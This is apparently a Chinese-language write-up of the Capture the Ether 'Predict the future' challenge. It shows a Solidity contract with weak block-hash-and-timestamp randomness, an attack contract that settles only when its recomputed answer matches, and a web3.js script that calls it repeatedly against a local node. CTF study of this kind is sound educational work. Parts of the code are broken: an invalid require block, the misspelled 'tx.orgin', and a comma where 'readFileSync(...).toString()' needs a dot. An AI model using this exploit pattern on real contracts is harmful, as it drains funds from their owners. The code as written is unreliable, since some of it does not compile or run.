Predict the future

1. 题目

1.1 This time, you have to lock in your guess before the random number is generated. To give you a sporting chance, there are only ten possible answers.

Note that it is indeed possible to solve this challenge without losing any ether.
1.2 源码：

pragma solidity ^0.4.21;

contract PredictTheFutureChallenge {
    address guesser;
    uint8 guess;
    uint256 settlementBlockNumber;

    function PredictTheFutureChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function lockInGuess(uint8 n) public payable {
        require(guesser == 0);
        require(msg.value == 1 ether);

        guesser = msg.sender;
        guess = n;
        settlementBlockNumber = block.number + 1;
    }

    function settle() public {
        require(msg.sender == guesser);
        require(block.number > settlementBlockNumber);

        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;

        guesser = 0;
        if (guess == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

2. 分析

2.1 该题需要提前锁定答案，再验证答案（即，先调用 lockInGuess 函数再调用 settle 函数）；很显然这样是猜不出来的，但是由 uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; 可知，answer 的值只用十个可能，即 [0,9]
2.2 我们可以先确定我们自己设定的 answer ，改变题目要求中的 answer ，通过不断改变 block.number 和时间戳来改变题目中的 answer （调用其他合约时，是在同一块区块中进行的，也就是为我们确定唯一的 block.number 和时间戳）
2.3 编写一个攻击合约，

contract attack{
    PredictTheFutureChallenge pre;
    uint8 public answer=5;
    function attack(address _addr)public{
        pre = PredictTheFutureChallenge(_addr);
    }
    function lock()public payable{
        pre.lockInGuess.value(1 ether)(answer);
    }
    function att()public{
        uint8 temp = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10;
        if(temp == answer){
        pre.settle();
        }
        
        require(pre.isComplete()){
        tx.orgin.transfer(address(this).balance);
        }
    }
    
    function()external payable{
        
    }
}

2.4 先锁定我们的答案（调用lock() 函数），不停的调用att() 函数，直到 PredictTheFutureChallenge 合约中的 isComplete 函数的值返回的是 true 或合约的余额为 0

3. 解题

3.1 使用 Web3解题（因为remix的bug实在是太多了），先在 remix部署合约，获取相对应的合约地址

tips：部署一个 attack 合约之后，如果执行了lock 函数就不能在不重新部署 PredictTheFutureChallenge合约的基础上使用新合约调用lock函数，因为guesser已经被赋值了，稍后的require 将不能通过

3.2 在我的 vscode上面疯狂执行 att 函数，直到remix上 isComplete返回的值发生改变，合约的金额转移为止，如图：![image-20240412145108409](Predict the future/image-20240412145108409.png)
3.3 在 vscode 上的代码如下：

let Web3 = require("web3");
web = new Web3(new Web3.providers.HttpProvider("Http://127.0.0.1:7545"));

var fs = require("fs");
var contractABI = JSON.parse(fs.readFileSync("D:\\VSCode\\VSCode_Data\\Web3Workspace\\js\\靶场\\capturetheether\\abi\\PredictTheFutureChallengeHack.abi"),toString());

// var contractADD = "0x80F5D36E412076Dd758961d729D8F84dc6c34A46";
var contractADD = "0xD52d9e548C6d18445a465dd08b5b2B47ca449Ee9"; // Hack_Address

var contract = new web.eth.Contract(contractABI,contractADD);

// console.log(contract);

var balance = web.eth.getBalance(contractADD,function(err,result){
console.log(result);
});
// console.log(balance);

// 00000000000000000000000580f5d36e412076dd758961d729d8f84dc6c34a46

var answer;
web.eth.getStorageAt(contractADD,0,(err,result)=>{
    // answer = web.utils.hexToNumber(result);
    console.log("这个是结果：" + result);
})

// contract.methods.lock().send({
//     from: "0x3C061FCEb96fca484e8c55C204BAd35C6fE2CE0f",
//     value: 1000000000000000000
// }).on("receipt",function(result){
//     console.log(result);
// })


contract.methods.att().send({
    from: "0x3C061FCEb96fca484e8c55C204BAd35C6fE2CE0f",
    // value: 1000000000000000000
}).on("receipt",function(result){
    console.log(result);
})